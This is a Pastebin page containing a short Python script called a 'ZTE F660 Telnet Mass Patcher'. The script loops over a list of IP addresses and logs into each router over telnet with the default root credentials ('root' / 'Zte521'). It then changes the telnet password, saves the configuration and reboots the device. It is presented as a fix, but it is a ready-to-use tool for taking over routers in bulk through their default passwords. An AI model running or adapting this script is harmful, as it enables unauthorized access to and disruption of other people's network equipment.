rhama

F660 FIX

Feb 13th, 2016
371
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.67 KB | None | 0 0
  1. import telnetlib
  2.  
  3. print '''ZTE F660 Telnet Mass Patcher
  4. //Indonesian Backtrack Team
  5. //Dompu-Linuxer.org
  6. //Aiden_'''
  7.  
  8. iplist = '''127.0.0.1'''
  9. iplist = iplist.split()
  10. for ipx in iplist:
  11.     try:
  12.         tn = telnetlib.Telnet(ipx, None, 13)
  13.         tn.read_until("Login: ")
  14.         tn.write("root\n")
  15.         tn.read_until("Password: ")
  16.         tn.write("Zte521\n")
  17.         tn.write("sendcmd 1 DB set TelnetCfg 0 TS_UPwd ztepasswd\n")
  18.         #tn.write("sendcmd 1 DB set TelnetCfg 0 TS_Enable 0\n")
  19.         tn.write("sendcmd 1 DB save\n")
  20.         tn.write("reboot\n")
  21.         #tn.write("exit\n")
  22.         print tn.read_all()
  23.         print ipx,'[Patched Done]'
  24.     except Exception, e:
  25.         print e
  26.         print ipx, 'Already Patched !!'
  27.         continue
Advertisement
Add Comment
Please, Sign In to add comment